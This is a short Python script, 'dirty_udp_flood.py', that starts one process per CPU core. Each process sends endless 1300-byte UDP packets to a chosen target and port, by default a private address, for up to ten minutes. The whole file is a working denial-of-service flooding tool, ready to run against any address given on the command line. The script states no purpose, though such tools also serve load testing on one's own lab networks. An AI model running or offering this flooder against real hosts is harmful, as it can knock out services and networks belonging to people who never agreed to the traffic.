dirty_udp_flood.py

import os
import time
import signal
import socket
import argparse
from multiprocessing import Process

def send_loop(tid, target, port, plen):
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    while True:
        sock.sendto(b'X'*plen, (target, port))
    pass

def parse_arguments():
    args = argparse.ArgumentParser()
    args.add_argument('--target', type=str, default='10.6.1.161')
    args.add_argument('--port', type=int, default=0)
    args.add_argument('--packet_length', type=int, default=1300)
    args.add_argument('--threads', type=int, default=os.cpu_count())
    args.add_argument('--duration', type=int, default=600)
    return args.parse_args()

def main():
    conf = parse_arguments()

    print(f'Flood {conf.target}:{conf.port} with {conf.packet_length} byte packets using {conf.threads} threads')
    procs = [Process(target=send_loop, args=(i, conf.target, conf.port, conf.packet_length)) for i in range(conf.threads)]
    for p in procs: p.start()

    done = False
    def signal_handler(sig, frame):
        nonlocal done
        print('Exiting due to Ctrl+C')
        for p in procs: p.terminate()
        done = True

    signal.signal(signal.SIGINT, signal_handler)
    print(f'Press Ctrl+C to exit, or wait for {conf.duration}s timeout')

    start = time.time()
    while not done and time.time() < start + conf.duration:
        time.sleep(0.25)

    print('Done')
    # exit with ctrl-c





if __name__ == '__main__':
    main()